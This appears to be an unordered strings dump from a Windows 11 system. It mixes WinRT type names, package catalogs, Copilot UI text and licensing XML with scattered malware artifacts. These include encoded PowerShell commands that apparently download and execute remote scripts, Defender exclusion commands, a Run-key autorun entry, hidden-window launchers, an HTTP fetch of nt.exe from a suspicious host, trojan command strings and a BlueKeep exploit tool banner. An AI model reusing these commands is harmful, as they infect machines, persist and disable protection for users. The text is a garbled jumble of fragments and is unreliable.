.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$root_implements_composable_inner@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@$0A@@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producer_convert@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@UIAsyncInfo@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$producers_base@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@V?$tuple@UIAsyncAction@Foundation@Windows@winrt@@UIAsyncInfo@234@@4@@impl@winrt@@
.?AU?$producer@Upromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@UIAsyncAction@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUpromise_type@?$coroutine_traits@UIAsyncAction@Foundation@Windows@winrt@@Uhstring@4@H@experimental@std@@
.?AUtype@?$abi@U?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@U?$IObservableVector@H@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUIAsyncActionCompletedHandler@Foundation@Windows@ABI@@
.?AU?$delegate@UDispatchedHandler@Core@UI@Windows@winrt@@V<lambda_1>@?1??await_suspend@awaitable@?1??resume_foreground@5@YA@AEBUCoreDispatcher@2345@W4CoreDispatcherPriority@2345@@Z@QEBAXU?$coroutine_handle@X@experimental@std@@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDispatchedHandler@Core@UI@Windows@winrt@@V<lambda_1>@?1??await_suspend@awaitable@?1??resume_foreground@5@YA@AEBUCoreDispatcher@2345@W4CoreDispatcherPriority@2345@@Z@QEBAXU?$coroutine_handle@X@experimental@std@@@Z@@impl@winrt@@
.?AUtype@?$abi@UDispatchedHandler@Core@UI@Windows@winrt@@X@impl@winrt@@
Microsoft.Windows.Security.TokenBroker.BrowserSSO
C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin
https://ecs.office.com/config/v1/MicrosoftWindowsDefenderClient/1.0.0.0
C:\ProgramData\Microsoft\Windows Defender\Scans\DefenderEcsCache.bin64
WINDOWS11
A\dvp.log\system32\drivers\etc\
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-BootEnvironment-Dvd-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-WinOcr-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-BootEnvironment-Dvd-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-WinOcr-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.1.cat|.1742.cat|5~amd64~
truct winrt::Windows::Foundation::AsyncOperationCompletedHandler<enum winrt::Windows::ApplicationModel::Background::BackgroundAccessStatus> &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceConnection<struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection>::AppServiceName(const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceConnection<struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection>::PackageFamilyName(const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceConnection<struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection>::OpenAsync(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus>,enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus> >::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceConnection<struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection>::ServiceClosed(const struct winrt::Windows::Foundation::TypedEventHandler<struct winrt::Windows::ApplicationModel::AppService::AppServiceConnection,struct winrt::Windows::ApplicationModel::AppService::AppServiceClosedEventArgs> &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IClosable<struct winrt::Windows::ApplicationModel::AppService::AppServiceConnection>::Close(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IMap<struct winrt::Windows::Foundation::Collections::IPropertySet,struct winrt::hstring,struct winrt::Windows::Foundation::IInspectable>::Insert(const struct winrt::param::hstring &,const struct winrt::Windows::Foundation::IInspectable &) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_AppService_IAppServiceConnection<struct winrt::Window
c:/windows/system32/drivers/etc/hosts%66%69%6e%64%65%72%2e%63%63xxx-gate.net
x\*.exedeulledo-x.scr\system32\logonui
%Microsoft Windows Production PCA 2011
WindowsWel
C:\WINDOWS\System32\drivers\ACPI.sys[ACPIMOFResource]
https://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
%windir%\system32\sdiagnhost.exe
Windows.Data.Platform.Partitioni
Microsoft.Windows.ConnectionManager
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
[clientName:MicrosoftWindowsDefenderClient][clientId:A5A962D7-2A13-4A83-9BDC-E17FA86AB903]
EVT-Windows-C++-No-3.8.249.1
regkeyvalue://HKLM\SOFTWARE\Microsoft\Windows Defender\Diagnostics\\MpPayloadStatus
C:\WINDOWS\System32\Drivers\portcls.SYS[PortclsMof]
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Windows.0)
Windows.Desktop
Windows 
Windows Desktop
c:/windows/system32/d
c:/windows/system32/d
c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-encodedcommandkaboaguadwatae8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8acgblaguababzahqadqbkagkabwauagmabwbtac4abqb5ac8adqb0agkababpahqaaqblahmalgb0ahgadaanackaiab8acaasqbuahyabwbragualqbfahgacabyaguacwbzagkabwbuaa==
c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-encodedcommandkaboaguadwatae8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8acwbwaguaawb0ahiayqbrag8abqb1ag4aaqbrageacwbpac4aywbvag0alwbjagwazqbhahialgb0ahgadaanackaiab8acaasqbuahyabwbragualqbfahgacabyaguacwbzagkabwbuaa==
\WINDOWS\DeeperDiscount
14" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"T
start-process-filepath"powershell.exe"-argumentlist"-executionpolicybypass-file`"$filepath`""-windowstylehidden
$registrypath="hkcu:\software\microsoft\windows\currentversion\run"$entryname="psautorun"$encodedautoruncommand
Windows Updatemswinsck.oca\
;hackermsnmsgr.exe\windows\system32\drivers\krnl32.batdel \windows\system32\service.exeshutdownmsnkillprocessopencdclosecdset cdaudio door
software\tencent\iebla145bg5dx8eFirstDXownname=&mac=Down.dllHookClc:\windows\iexplore.$createwindowexahttpqueryinfoa
qGET /chr/907/nt.exe HTTP/1.1Host: www6.badesugerwakirpos.comhttp://www6.badesugerwakirpos.com/chr/907/nt.exeaccept: */*user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1)
Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings
Windows.System.Profile.PlatformDiagnosticsAndUsageDataSettings.pdb
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
add-mppreference-exclusionpath$tempfolder-erroractionstopadd-mppreference-exclusionpath$env:temp-erroractionstopadd-mppreference-exclusionpath"c:\windows\syswow64"-erroractionstopadd-mppreference-exclusionprocess"$tempfolder\$name"-erroractionstopadd-mppreference-exclusionprocess"$tempfolder\$setup"
Uc:\windows\system32\
Microsoft.Windows.Hsp.Api
obj\Release\Windows3
Windows.Data.Platform.ItemReference<$
@Playback@Media@Windows@winrt@@UIInspectable@Foundation@45@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@UReactVideoView@factory_implementation@ReactNativeVideoCPP@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UReactVideoView@factory_implementation@ReactNativeVideoCPP@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@UReactVideoView@factory_implementation@ReactNativeVideoCPP@winrt@@UIActivationFactory@Foundation@Windows@4@UIReactVideoViewFactory@34@@winrt@@
.?AU?$root_implements@UReactVideoView@factory_implementation@ReactNativeVideoCPP@winrt@@UIActivationFactory@Foundation@Windows@4@UIReactVideoViewFactory@34@@impl@winrt@@
.?AU?$producer_convert@UReactVideoView@factory_implementation@ReactNativeVideoCPP@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer@UReactVideoView@factory_implementation@ReactNativeVideoCPP@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UReactVideoView@factory_implementation@ReactNativeVideoCPP@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIReactVideoViewFactory@ReactNativeVideoCPP@4@@std@@@impl@winrt@@
.?AU?$produce_base@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UReactVideoView@implementation@ReactNativeVideoCPP@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
Windows RCE ToolBlackKeepbased on CVE-2019-0708payload_x64.dllipslist.txtplaybit@exploit.imcoded by PlayBit
 corrotto o non valido. Copilot non riesce a recuperare le impostazioni.Copilot ti avvisa se le tue password sono mai state compromesseCopilotPer motivi di sicurezza, Microsoft Copilot richiede di effettuare l'accesso con la password del dispositivo.Microsoft Copilot sta cercando di visualizzare i dettagli della carta di credito. Immetti la password di Windows per consentire questa operazione.Microsoft Copilot sta cercando di visualizzare le password. Immetti la password di Windows per consentire questa operazione.Microsoft Copilot sta cercando di copiare le password. Digita la password di Windows per consentire questa operazione.Microsoft Copilot sta cercando di modificare le password. Digita la password di Windows per consentire questa operazione.Microsoft Copilot vuole esportare le tue password. Immetti la password di Windows per consentire questa operazione.Microsoft Copilot sta cercando di importare le password. Immetti la password di Windows per consentire questa operazione.Microsoft Copilot vuole eliminare i dati di Gestione delle password. Digita la password di Windows per consentire questa operazione.Microsoft Copilot sta cercando di sostituire le password esistenti. Digita la password di Windows per consentire questa operazione.Nel computer 
 possibile installare la stessa versione di Microsoft Copilot attualmente in esecuzione. Chiudi Microsoft Copilot e riprova.Installazione non riuscita a causa di un errore non specificato. Scarica di nuovo Microsoft Copilot.Microsoft Copilot richiede Windows 10 o versione successiva.Si 
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
.?AU?$producer_convert@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFilterControl@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFilterControl@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFilterControl@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFilterControl@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UFilterControl@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
.?AU?$require@UFilterControl@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@UIUserControl@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IPage@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.ClipboardHistoryItem
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.DataPackageProxy
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.Deprecated_FluentThemeResources
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.FallbackInputProfileData
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.NativeBlob
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked.SuggestionUIContainer
windows\
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Microsoft-Windows-Professional-SPP-Components-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
0Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-Package~31bf3856ad364e35~amd64~~10.0.26100.15910
cMicrosoft-Windows-Professional-SPP-Components-Package~31bf3856ad364e35~amd64~~10.0.26100.1591m
fMicrosoft-Windows-Professional-SPP-Components-Package~31bf3856ad364e35~amd64~~10.0.26100.1591i
Microsoft-Windows-Professional-SPP-Components-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Foundation-Win1-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Foundation-Win0-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Foundation-Win0-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Foundation-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Foundation-Win1-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742D
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
>windows\\system32\\m9	
%systemroot%\system32\wbem
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Microsoft.Windows.Graphics.GdiPlus
Microsoft.Windows.Security.Shutinit
Microsoft.Windows.Security.IsolationApi
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Global.WindowsPersonaCard.AppXct52b5fkwa3y4wqhrs0fzf0f0886pwq0.mca
Global.WindowsPersonaCard.wwa
onecoreuap\windows\moderncore\inputv2\contextualprocessors\components\inputgestures\api\animationtarget\winrt\animationtargetwinrt.cpp
onecoreuap\windows\moderncore\inputv2\Utilities\MessagingThread\MessagingThread.h
onecoreuap\windows\moderncore\inputv2\contextualprocessors\components\inputgestures\api\gestureoperation\winrt\gestureoperationwinrt.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\dll\inputhost.cpp
onecoreuap\windows\moderncore\inputv2\utilities\callonthreadexit\callonthreadexit.cpp
onecoreuap\windows\moderncore\inputv2\inputhost\components\deviceposture\lib\DevicePostureHelpers.h
onecoreuap\windows\moderncore\inputv2\foregroundmanager\client\common\activationwatcherbamoproxy.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\windowsmessagedelivery\client\lib\windowsmessagedeliveryinputobjectwinrt.cpp
onecoreuap\windows\moderncore\inputv2\components\inputsitemanager\client\lib\system\inputsitewinrtstatics.cpp
onecoreuap\windows\moderncore\inputv2\utilities\inputsinkhelpers\inputsinkhelpers.cpp
Lonecoreuap\windows\moderncore\inputv2\inc\SystemAndLiftedTypes.h
onecoreuap\windows\moderncore\inputv2\components\inputsitemanager\client\lib\system\inputsitewinrt.cpp
onecoreuap\windows\moderncore\inputv2\Components\InputSiteManager\client\lib\system\BaseInputObjectWinRT.h
onecoreuap\windows\moderncore\inputv2\utilities\inputsecuritydescriptor\lib\inputsecuritydescriptor.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\activationcontroller\client\lib\activationcontrollerwinrt.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\activationconfiguration\client\lib\activationconfigurationinputobjectwinrt.cpp
onecoreuap\windows\moderncore\inputv2\components\inputsitemanager\client\lib\system\baseinputobjectwinrt.cpp
onecoreuap\windows\moderncore\inputv2\components\inputsitemanager\client\lib\system\islandsiteinputsitewinrt.cpp
onecoreuap\windows\moderncore\inputv2\bamos\client\inputsystemclientconnection.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\windowsmessagedelivery\client\lib\pointercursorcontrollerwinrt.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\windowsmessagedelivery\client\lib\focusobserverwinrt.cpp
onecoreuap\windows\moderncore\inputv2\components\inputsitemanageC
 Windows 
Windows
\system32\vb
WINDOWS\ServiceProfiles\Local
=C:\Windows\System32\
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
Microsoft.Windows.Wil.FeatureLogging
DOMAIN=Windows11I
a256"></SignatureMethod><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"></Transform><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo Id="_61afd6a2-d7c3-8d25-36c2-0c2c47e3aca8"><KeyValue><RSAKeyValue><Modulus>*</Modulus><Exponent>*</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License><HWDeviceID>*</HWDeviceID><GlobalDeviceID>*</GlobalDeviceID><LicenseKeySequence>*</LicenseKeySequence><DeviceTpmKeyState>*</DeviceTpmKeyState><KeyHolderLicense><License xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="6b594c27-b3ee-45ff-812e-686be66532ce" LicenseID="{61afd6a2-d7c3-8d25-36c2-0c2c47e3aca8}" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>*</ProductID><PFM>*</PFM><LeaseRequired>*</LeaseRequired></Binding><LicenseInfo Type="KeyHolder" LicenseUsage="Offline" LicenseCategory="OEM"><IssuedDate>*</IssuedDate></LicenseInfo><KeyHolderInfo><CSPData>*</CSPData><SPLicenseId>*</SPLicenseId></KeyHolderInfo><SPLicenseBlock>*</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>*</Modulus><Exponent>*</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License></KeyHolderLicense><LicenseSignatureKeyVersion>*</LicenseSignatureKeyVersion><ServerInfo ServerTime="2026-02-20T15:59:51Z">SN1PEPF0002F01E 16.0.30914.10</ServerInfo></DeviceAddResponse>
GetWindowsDeviceId
<DeviceAddResponse Success="true"><success>*</success><puid>00180017408067C8</puid><DeviceTpmKeyState>*</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="378b0355-a2f9-4408-8fee-8457b5e46355" LicenseID="3252b20c-d425-4711-8cc5-b2f53c830b76" Version="2" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><DeviceID xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls">*</DeviceID></Binding><LicenseInfo Type="Device" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><IssuedDate xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls">*</IssuedDate></LicenseInfo><SPLicenseBlock xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls">*</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-shElfChnk
ctorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
